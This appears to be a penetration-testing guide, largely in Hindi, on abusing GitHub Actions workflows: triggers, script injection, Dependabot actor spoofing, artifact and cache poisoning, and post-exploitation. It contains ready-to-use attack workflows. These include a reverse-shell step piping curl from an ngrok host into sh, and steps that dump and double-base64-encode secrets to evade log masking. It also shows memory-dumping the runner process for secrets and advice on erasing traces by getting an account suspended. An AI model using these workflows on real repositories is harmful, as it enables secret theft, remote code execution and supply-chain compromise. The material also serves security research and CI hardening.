Github Actions का दुरुपयोग

Reading time: 25 minutes

Tools

निम्न टूल Github Action workflows खोजने और संभावित कमजोर workflows ढूँढने में उपयोगी हैं:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - इसके चेकलिस्ट को भी देखें https://docs.zizmor.sh/audits

Basic Information

इस पेज में आप पाएँगे:

• एक हमलावर द्वारा Github Action तक पहुँच प्राप्त करने पर सभी प्रभावों का सारांश
• किसी action तक पहुँच प्राप्त करने के विभिन्न तरीके:
  • action बनाने की permissions होना
  • pull request संबंधित triggers का दुरुपयोग
  • अन्य बाहरी access तकनीकों का दुरुपयोग
  • पहले से compromised repo से Pivoting
• अंत में, एक सेक्शन post-exploitation techniques to abuse an action from inside के बारे में (उपर्युक्त प्रभावों का कारण बनना)

Impacts Summary

For an introduction about Github Actions check the basic information.

यदि आप किसी repository के भीतर GitHub Actions में मनमाना कोड चला सकते हैं, तो आप संभवतः कर पाएँगे:

• पाइपलाइन में mounted secrets चोरी करना और पाइपलाइन की privileges का दुरुपयोग करके बाहरी प्लेटफ़ॉर्म जैसे AWS और GCP तक अनधिकृत पहुँच प्राप्त करना।
• deployments और अन्य artifacts को compromise करना।
• यदि pipeline assets को deploy या store करता है, तो आप अंतिम प्रोडक्ट को बदल सकते हैं, जिससे उपभोक्ता श्रृंखला (supply chain) हमला संभव हो सकता है।
• custom workers में कोड execute करके computing power का दुरुपयोग और अन्य सिस्टम्स की ओर pivot करना।
• GITHUB_TOKEN से संबंधित permissions पर निर्भर करते हुए repository के कोड को overwrite करना।

GITHUB_TOKEN

यह secret (जो ${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आता है) तब दिया जाता है जब admin यह विकल्प सक्षम करता है:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed.
These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

It's possible to check the permissions given to a Github Token in other users repositories checking the logs of the actions:

अनुमत निष्पादन

Repo Creation से निष्पादन

यदि एक organization के members create new repos कर सकते हैं और आप github actions execute कर सकते हैं, तो आप create a new repo करके organization level पर सेट किए गए secrets चुरा सकते हैं।

New Branch से निष्पादन

यदि आप create a new branch in a repository that already contains a Github Action configured कर सकते हैं, तो आप उसे modify कर सकते हैं, content upload कर सकते हैं, और फिर उस action को execute that action from the new branch कर सकते हैं। इस तरह आप exfiltrate repository and organization level secrets कर सकते हैं (पर आपको पता होना चाहिए कि उन्हें क्या नाम दिया गया है)।

आप modified action को executable बना सकते हैं manually, जब एक PR is created या जब some code is pushed (निर्भर करता है कि आप कितना noisy होना चाहते हैं):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

The workflow trigger pull_request हर बार workflow को execute करेगा जब भी कोई pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से यदि यह आपकी first-time collaboration है, तो कुछ maintainer को workflow के run को approve करना होगा:

Moreover, by default prevents write permissions and secrets access to the target repository as mentioned in the docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

एक attacker Github Action की definition को बदल सकता है ताकि arbitrary चीज़ें execute की जा सकें और arbitrary actions जोड़ी जा सकें। हालांकि, ऊपर बताए गए limitations के कारण वह secrets चुरा नहीं पाएगा या repo को overwrite नहीं कर पाएगा।

चूंकि attacker उस execute होने वाले code को भी नियंत्रित करता है, भले ही GITHUB_TOKEN पर secrets या write permissions न हों, attacker उदाहरण के लिए upload malicious artifacts कर सकता है।

pull_request_target

The workflow trigger pull_request_target को target repository पर write permission और access to secrets मिलती है (और यह permission की मांग नहीं करता)।

ध्यान दें कि workflow trigger pull_request_target base context में चलता है न कि PR द्वारा दिए गए context में (ताकि untrusted code execute न हो)। pull_request_target के बारे में अधिक जानकारी के लिए check the docs.
इसके अलावा, इस विशेष खतरनाक उपयोग के बारे में अधिक जानकारी के लिए github blog post.

ऐसा लग सकता है कि चूंकि executed workflow वही है जो base में defined है और not in the PR, इसलिए pull_request_target का उपयोग करना secure है, लेकिन कुछ मामले ऐसे हैं जहां यह सुरक्षित नहीं होता।

और यह ट्रिगर वाले को access to secrets मिलेगा।

workflow_run

The workflow_run trigger आपको किसी workflow को दूसरे workflow से तब चलाने की अनुमति देता है जब वह completed, requested या in_progress हो।

In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे workflow पर depending करता है जिसे बाहरी user द्वारा pull_request या pull_request_target के माध्यम से triggered किया जा सकता है। कुछ vulnerable उदाहरण found this blog. पहला उदाहरण workflow_run द्वारा triggered workflow है जो attackers के code को डाउनलोड करता है: ${{ github.event.pull_request.head.sha }}
दूसरा उदाहरण अनtrusted code से एक artifact पास करने और उस artifact की सामग्री का उपयोग करने का है जिससे यह vulnerable to RCE बन सकता है।

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Forked Execution का दुरुपयोग

हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करा सकता है, अब देखते हैं कि ये executions, अगर गलत तरीके से configured हों, तो उनका दुरुपयोग कैसे किया जा सकता है:

Untrusted checkout execution

यदि यह pull_request के मामले में है, तो workflow PR के context में execute होगा (इसलिए यह malicious PRs code को execute करेगा), लेकिन किसी को पहले इसे authorize करना होगा और यह कुछ limitations के साथ चलेगा।

यदि कोई workflow pull_request_target or workflow_run का उपयोग कर रहा है और वह किसी ऐसे workflow पर depend करता है जिसे pull_request_target या pull_request से trigger किया जा सकता है, तो original repo का code executed होगा, इसलिए attacker executed code को control नहीं कर सकता।

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित रूप से untrusted code npm install या npm build के दौरान run किया जा रहा है क्योंकि build scripts और referenced packages PR के author द्वारा control किए जाते हैं।

Context Script Injections

ध्यान दें कि कुछ github contexts के values उस user द्वारा control किए जाते हैं जो PR बना रहा है। अगर github action उन डेटा का उपयोग किसी भी चीज़ को execute करने के लिए कर रहा है, तो यह arbitrary code execution में बदल सकता है:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

docs के अनुसार: आप किसी workflow job में किसी environment variable को किसी भी subsequent steps के लिए उपलब्ध करवा सकते हैं, उस environment variable को define या update करके और इसे GITHUB_ENV environment file में लिखकर।

यदि attacker इस env variable के अंदर कोई भी value inject कर सके, तो वह ऐसे env variables inject कर सकता है जो अगले steps में code execute करवा सकते हैं, जैसे LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (this and this), कल्पना करें एक workflow जो किसी uploaded artifact पर भरोसा कर रहा है और उसकी सामग्री को GITHUB_ENV env variable में स्टोर कर देता है। एक attacker इसे compromise करने के लिए कुछ ऐसा upload कर सकता है:

Dependabot and other trusted bots

जैसा कि this blog post में बताया गया है, कई organizations के पास एक Github Action होता है जो dependabot[bot] से आने वाले किसी भी PRR को merge कर देता है, जैसे:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Which is a problem because the github.actor field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the dependabot[bot] user to modify a PR. For example:

• लक्ष्य repository का fork करें
• अपनी copy में malicious payload जोड़ें
• अपने fork पर Dependabot सक्षम करें और एक outdated dependency जोड़ें। Dependabot उस dependency को ठीक करने के लिए malicious code के साथ एक branch बनाएगा।
• उस branch से लक्ष्य repository पर एक Pull Request खोलें (PR उस user द्वारा बनाया जाएगा इसलिए अभी कुछ नहीं होगा)
• फिर, attacker अपने fork में Dependabot द्वारा खोले गए प्रारंभिक PR पर वापस जाएँ और @dependabot recreate चलाएँ
• फिर, Dependabot उस branch में कुछ actions perform करता है, जो victim repo पर PR को modify कर देते हैं, जिससे dependabot[bot] उस latest event का actor बन जाता है जिसने वर्कफ़्लो को ट्रिगर किया (और इसलिए, वर्कफ़्लो चल जाता है)।

Moving on, what if instead of merging the Github Action would have a command injection like in:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करता है, जिनमें से दूसरा इस प्रकार है:

• लक्षित repository को Fork करें और Dependabot को कुछ outdated dependency के साथ enable करें।
• एक नया branch बनाएं जिसमें malicious shell injeciton code हो।
• repo के default branch को उस branch पर बदल दें
• इस branch से लक्षित repository के लिए एक PR बनाएं।
• उस PR में @dependabot merge चलाएँ जो Dependabot ने अपने fork में खोला है।
• Dependabot आपके forked repository के default branch में अपने changes merge कर देगा, जिससे victim repository में PR अपडेट होगा और अब dependabot[bot] उस latest event का actor बन जाएगा जिसने workflow को trigger किया था और malicious branch name का उपयोग करेगा।

कमजोर तृतीय-पक्ष Github Actions

dawidd6/action-download-artifact

As mentioned in this blog post, यह Github Action विभिन्न workflows और यहां तक कि repositories से artifacts तक access करने की अनुमति देता है।

समस्या यह है कि अगर path parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फाइलों को override कर सकता है जो बाद में workflow में उपयोग या execute की जा सकती हैं। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उन अन्य workflows को compromise कर सकता है जो Artifact पर भरोसा करते हैं।

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

इसे इस workflow के साथ attack किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

अन्य बाहरी पहुँच

Deleted Namespace Repo Hijacking

If an account changes it's name another user could register an account with that name after some time. If a repository had less than 100 stars previously to the change of name, Github will allow the new register user with the same name to create a repository with the same name as the one deleted.

If other repositories where using dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Cache Poisoning

A cache is maintained between wokflow runs in the same branch. Which means that if an attacker compromise a package that is then stored in the cache and downloaded and executed by a more privileged workflow he will be able to compromise also that workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows could use artifacts from other workflows and even repos, if an attacker manages to compromise the Github Action that uploads an artifact that is later used by another workflow he could compromise the other workflows:

Gh Actions - Artifact Poisoning

Post Exploitation from an Action

Github Action Policies Bypass

As commented in this blog post, even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (git clone) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, the action will be executed without any restriction.

उदाहरण:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

AWS, Azure और GCP को OIDC के माध्यम से एक्सेस करना

निम्नलिखित पृष्ठों की जांच करें:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

secrets तक पहुँच

यदि आप किसी script में content inject कर रहे हैं तो यह जानना दिलचस्प है कि आप secrets तक कैसे पहुँच सकते हैं:

• यदि secret या token किसी environment variable में सेट है, तो उसे environment के माध्यम से सीधे printenv का उपयोग करके access किया जा सकता है।

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• अगर secret को directly in an expression में इस्तेमाल किया जाता है, तो generated shell script on-disk पर स्टोर होता है और एक्सेस किया जा सकता है।

cat /home/runner/work/_temp/*

- JavaScript actions के लिए secrets environment variables के माध्यम से भेजे जाते हैं
- ```bash
ps axe | grep node

• एक custom action के लिए, जोखिम इस बात पर निर्भर कर सकता है कि कोई प्रोग्राम उस argument से प्राप्त secret का उपयोग कैसे कर रहा है:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

• secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level)। write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है। GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें:

name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

लोकल में decode करें:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Tip: टेस्टिंग के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl पहले से GitHub-hosted runners पर preinstalled है)।

Self-hosted runners का दुरुपयोग

यह पता लगाने का तरीका कि किन Github Actions are being executed in non-github infrastructure है कि Github Action configuration yaml में runs-on: self-hosted को search करें।

Self-hosted runners को अतिरिक्त sensitive information, अन्य network systems (network में vulnerable endpoints? metadata service?) तक पहुँच हो सकती है या, भले ही वह isolated हो कर destroy कर दिया जाए, एक से अधिक action एक साथ चल सकते हैं और malicious action दूसरे के secrets चुरा सकता है।

Self-hosted runners में यह भी संभव है कि secrets from the _Runner.Listener_** process** प्राप्त किए जा सकें जो किसी भी step पर workflows के सभी secrets को contain करेगा, इसकी memory dump करके:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

देखें this post for more information.

Github Docker Images Registry

यह संभव है कि Github actions बनाए जा सकते हैं जो Docker image को Github के अंदर build और store करेंगे.
निम्न expandable में एक उदाहरण देखा जा सकता है:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

जैसा कि आप पिछले कोड में देख सकते हैं, Github registry ghcr.io पर होस्ट है।

repo पर read permissions वाले एक उपयोगकर्ता तब personal access token का उपयोग करके Docker Image डाउनलोड कर सकेगा:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Docker Forensics - HackTricks

Github Actions logs में संवेदनशील जानकारी

भले ही Github actions logs में detect secret values करने की कोशिश करे और उन्हें avoid showing करे, action के execution में जनरेट हुआ other sensitive data छिपाया नहीं जाएगा। उदाहरण के लिए, एक JWT जो secret value से साइन किया गया है, तब तक छिपाया नहीं जाएगा जब तक कि इसे specifically configured न किया गया हो।

अपने निशान छिपाना

(Technique from here) सबसे पहले, कोई भी PR उठाया गया हो वह Github पर और target GitHub account के लिए सार्वजनिक रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम can’t delete a PR of the internet, पर एक मोड़ है। उन Github accounts के लिए जो Github द्वारा suspended होते हैं, उनके सभी PRs are automatically deleted और internet से हटा दिए जाते हैं। इसलिए अपनी activity छिपाने के लिए आपको या तो अपना GitHub account suspended or get your account flagged कराना होगा। इससे GitHub पर आपकी सभी गतिविधियाँ इंटरनेट से hide all your activities हो जाएंगी (असल में आपके सभी exploit PR हट जाएंगे)

An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.

संदर्भ

• GitHub Actions: A Cloudy Day for Security - Part 1